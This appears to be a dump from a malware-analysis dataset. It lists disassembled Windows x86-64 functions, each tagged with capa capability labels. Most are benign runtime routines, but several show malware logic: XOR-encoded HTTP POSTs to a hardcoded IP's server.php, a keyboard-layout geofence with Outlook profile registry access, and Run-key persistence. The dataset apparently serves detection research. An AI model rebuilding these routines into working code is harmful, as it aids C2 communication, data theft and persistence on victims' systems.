joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x1400137c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d5
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b30
xor al, al
jmp 0x140014bb1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b43
xor al, al
jmp 0x140014bb1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014b6d
xor al, al
jmp 0x140014bb1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014b81
xor al, al
jmp 0x140014bb1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014b93
xor al, al
jmp 0x140014bb1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014baf
xor al, al
jmp 0x140014bb1
mov al, 1
add rsp, 0x38
ret
Function at 0x1412fd058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1412fd1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1412fd089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fd06f
add dl, dl
jne 0x1412fd096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fd0f6
xor eax, eax
add dl, dl
jne 0x1412fd0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1412fd1ad
add dl, dl
jne 0x1412fd0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fd0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fd0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fd0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1412fd0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1412fd07e
mov eax, 1
add dl, dl
jne 0x1412fd106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1412fd113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fd0fb
sub eax, ebx
mov ebx, 1
jne 0x1412fd14c
mov ecx, 1
add dl, dl
jne 0x1412fd12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1412fd13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fd123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fd07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1412fd168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1412fd175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1412fd15d
cmp eax, 0x7d00
jae 0x1412fd19b
cmp eax, 0x500
jb 0x1412fd196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fd07e
cmp eax, 0x7f
ja 0x1412fd19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1412fd07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1412fd1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1412fd07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001090
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor edi, edi
mov r13, r8
mov ebx, edx
mov dword [rsp + 0x20], edi
mov rbp, rcx
xor r9d, r9d
mov rcx, qword [0x14001dc70]
xor r8d, r8d
lea edx, [rdi + 1]
mov r15d, edi
mov r14d, edi
mov esi, edi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140001244
mov qword [rsp + 0x38], rdi
lea r8d, [rdi + 0x50]
mov dword [rsp + 0x30], edi
lea rdx, str.94.159.113.86
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r15, rax
test rax, rax
je 0x140001244
mov qword [rsp + 0x38], rdi
lea r8, str._server.php
mov dword [rsp + 0x30], 0x80000200
lea rdx, str.POST
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
test rax, rax
je 0x140001244
lea rax, str.38EDCEA9_E474_435F_98D4_E6FBB209C1FC
test ebx, ebx
je 0x14000119d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8d, edi
lea r11, str.38EDCEA9_E474_435F_98D4_E6FBB209C1FC
mov r10d, eax
mov r9, rbp
nop
xor edx, edx
lea r9, [r9 + 1]
mov eax, r8d
inc r8d
div r10d
movzx ecx, byte [rdx + r11]
xor byte [r9 - 1], cl
cmp r8d, ebx
jb 0x140001180
mov r9, rbp
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140001244
mov ecx, 0x401
call fcn.14000636c
lea r9, [rsp + 0x88]
mov dword [rsp + 0x88], edi
mov r8d, 0x400
mov rdx, rax
mov rcx, r14
mov rbp, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000123c
nop dword [rax]
mov eax, dword [rsp + 0x88]
test eax, eax
je 0x140001282
add esi, eax
mov rcx, rbp
lea edx, [rsi + 0x401]
mov byte [rsi + rbp], dil
call fcn.140006350
lea r9, [rsp + 0x88]
mov dword [rsp + 0x88], edi
mov r8d, 0x400
mov rcx, r14
mov rbp, rax
lea rdx, [rsi + rax]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011f0
mov rcx, rbp
call fcn.140006358
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x70]
mov rax, rdi
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
test esi, esi
je 0x14000123c
lea rbx, str.38EDCEA9_E474_435F_98D4_E6FBB209C1FC
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, eax
test esi, esi
je 0x1400012b9
mov r8, rbp
xor edx, edx
lea r8, [r8 + 1]
mov eax, edi
inc edi
div r9d
movzx ecx, byte [rdx + rbx]
xor byte [r8 - 1], cl
cmp edi, esi
jb 0x1400012a0
mov rdi, rbp
mov dword [r13], esi
jmp 0x140001244
Function at 0x140002080
Capabilities:
Create thread
Get keyboard layout

Disassembly:
push rbx
sub rsp, 0x150
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ebx, ebx
lea r8, [0x140002050]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rcx, rax
mov dword [rsp + 0x30], 0x40a0407
mov eax, 0x415
mov dword [rsp + 0x34], 0x4030c0a
mov word [rsp + 0x3c], ax
lea rax, [rsp + 0x30]
mov dword [rsp + 0x38], 0x410042d
nop dword [rax]
cmp cx, word [rax]
je 0x14000211b
inc ebx
add rax, 2
cmp ebx, 7
jb 0x140002100
xor eax, eax
add rsp, 0x150
pop rbx
ret
call fcn.140001a30
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.14000fdf0
lea rdx, str.SOFTWAREMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676_
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x40]
call fcn.140001540
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x5b], 0x35
call fcn.140001540
lea rcx, str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
call fcn.140001540
lea rcx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
call fcn.140001540
call fcn.1400012d0
call fcn.140001df0
xor eax, eax
add rsp, 0x150
pop rbx
ret

Function at 0x1400028ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002936
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002936
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002936
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002936
cmp dword [rcx + 0x84], 0xe
jbe 0x140002936
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002938
xor al, al
add rsp, 0x28
ret

Function at 0x140006f94
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006d90
Function at 0x14000a110
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000a140
xor eax, eax
jmp 0x14000a203
mov rbp, rbx
cmp word [rax], si
je 0x14000a165
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000a14c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000a148
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000a030
movsxd r14, eax
test eax, eax
jne 0x14000a1a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000a139
mov rcx, r14
call fcn.140007a14
mov rdi, rax
test rax, rax
jne 0x14000a1bc
xor ecx, ecx
call fcn.1400079d8
jmp 0x14000a198
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000a030
test eax, eax
jne 0x14000a1ed
mov rcx, rdi
call fcn.1400079d8
jmp 0x14000a1f7
xor ecx, ecx
call fcn.1400079d8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000f880
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f8a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f8a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001116d
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140019730
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14003810c]
call fcn.1400119a1
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x14001976e
mov rcx, qword [rbp + 0x100]
call fcn.1400111c2
nop
jmp 0x14001978a
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x14001978a
mov rcx, qword [rbp + 0x100]
call fcn.1400114e2
nop
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400111e5
Capabilities:
Create thread

Disassembly:
jmp 0x140016a80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140030040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x140038101]
call fcn.1400119a1
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1400112e4
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.1400114f6
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.14001120d
nop
lea rcx, [rbp + 0x108]
call fcn.1400113e3
nop
lea rax, [0x140011681]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.1400116c2
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x140016b83
lea rcx, [rbp + 8]
call fcn.14001141a
nop
jmp 0x140016b9c
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.14001122b
nop
lea rcx, [rbp + 8]
call fcn.1400113e3
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002a410]
call fcn.140011820
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.1400114c4
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x1400114e2
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14001ad90
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x14003810c]
call fcn.1400119a1
nop
mov qword [rbp + 8], 0x26f
mov qword [rbp + 0x28], 0xe3
mov qword [rbp + 0x48], 0
jmp 0x14001add5
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xe3
jae 0x14001ae66
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
je 0x14001ae2b
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001ae35
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0x64]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14001adca
mov qword [rbp + 0x88], 0xe3
jmp 0x14001ae84
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x26f
jae 0x14001af2d
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
and eax, 1
test eax, eax
je 0x14001aee9
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001aef3
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xa4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14001ae73
mov qword [rbp + 0xc8], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rbp + 0x1e0]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp + 0xe4]
and eax, 1
test eax, eax
je 0x14001af8d
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001af97
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xe4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rbp + 0x1e0]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rbp + 0x1e0]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret

Function at 0x14001156e
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e940
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400116a4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x14001ba70
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xb6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140030040]
xor rax, rbp
mov qword [rbp + 0x448], rax
lea rcx, [0x14003810f]
call fcn.1400119a1
nop
lea rcx, [rbp + 8]
call fcn.140011186
mov qword [rbp + 0x438], rax
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14001bafc
lea rdx, str.Failed_to_get_executable_path.
lea rcx, [rbp + 0x378]
call fcn.140011884
nop
lea rdx, [0x14002f2e8]
lea rcx, [rbp + 0x378]
call fcn.140011a5f
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x3a8]
call fcn.140011456
mov qword [rbp + 0x438], rax
mov r8b, 0x5a
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x198]
call fcn.140011311
mov qword [rbp + 0x440], rax
lea rcx, [rbp + 0x3a8]
call fcn.14001119a
nop
lea rcx, [rbp + 0x198]
call fcn.1400110c8
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001bc24
lea rcx, [rbp + 0x70]
call fcn.140011447
inc rax
mov qword [rbp + 0x438], rax
lea rcx, [rbp + 8]
call fcn.1400110c8
mov rcx, qword [rbp + 0x438]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14001bbe8
lea rdx, str.Failed_to_set_registry_value.
lea rcx, [rbp + 0x3e8]
call fcn.140011884
nop
lea rdx, [0x14002f2e8]
lea rcx, [rbp + 0x3e8]
call fcn.140011a5f
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, str.Successfully_added_to_startup.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110eb
mov qword [rbp + 0x438], rax
lea rdx, [0x14001105a]
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14001bc4c
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [rbp + 0x418]
call fcn.140011884
nop
lea rdx, [0x14002f2e8]
lea rcx, [rbp + 0x418]
call fcn.140011a5f
nop
lea rcx, [rbp + 0x198]
call fcn.14001119a
nop
lea rcx, [rbp + 8]
call fcn.14001119a
nop
jmp 0x14001bc65
lea rcx, [rbp - 0x30]
lea rdx, [0x140029960]
call fcn.140011820
mov rcx, qword [rbp + 0x448]
xor rcx, rbp
call fcn.1400114c4
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret
Function at 0x1400116e5
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400203c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400203e0
xor al, al
jmp 0x140020461
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400203f3
xor al, al
jmp 0x140020461
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002041d
xor al, al
jmp 0x140020461
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140020431
xor al, al
jmp 0x140020461
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140020443
xor al, al
jmp 0x140020461
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002045f
xor al, al
jmp 0x140020461
mov al, 1
add rsp, 0x38
ret
Function at 0x14001f6c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011a05
movzx eax, al
test eax, eax
jne 0x14001f6e0
mov ecx, 7
call fcn.140011834
nop
mov byte [rsp + 0x20], 0
call fcn.14001187a
mov byte [rsp + 0x21], al
cmp dword [0x140030510], 1
jne 0x14001f704
mov ecx, 7
call fcn.140011834
nop
jmp 0x14001f75c
cmp dword [0x140030510], 0
jne 0x14001f757
mov dword [0x140030510], 1
lea rdx, [0x140028770]
lea rcx, [0x140028440]
call fcn.1400114a1
test eax, eax
je 0x14001f738
mov eax, 0xff
jmp 0x14001f861
lea rdx, [0x140028330]
lea rcx, [section..rdata]
call fcn.140011861
mov dword [0x140030510], 2
jmp 0x14001f75c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011816
call fcn.14001171c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001f7b9
mov rcx, qword [rsp + 0x30]
call fcn.1400113a2
movzx eax, al
test eax, eax
je 0x14001f7b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140039020]
nop
call fcn.14001178f
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001f7ed
mov rcx, qword [rsp + 0x38]
call fcn.1400113a2
movzx eax, al
test eax, eax
je 0x14001f7ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001196a
nop
call fcn.14001f8d0
mov dword [rsp + 0x28], eax
call fcn.1400116e5
movzx eax, al
test eax, eax
jne 0x14001f80c
mov ecx, dword [rsp + 0x28]
call fcn.1400110af
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001f81b
call fcn.140011979
nop
xor edx, edx
mov cl, 1
call fcn.140011370
mov eax, dword [rsp + 0x28]
jmp 0x14001f861
add rsp, 0x68
ret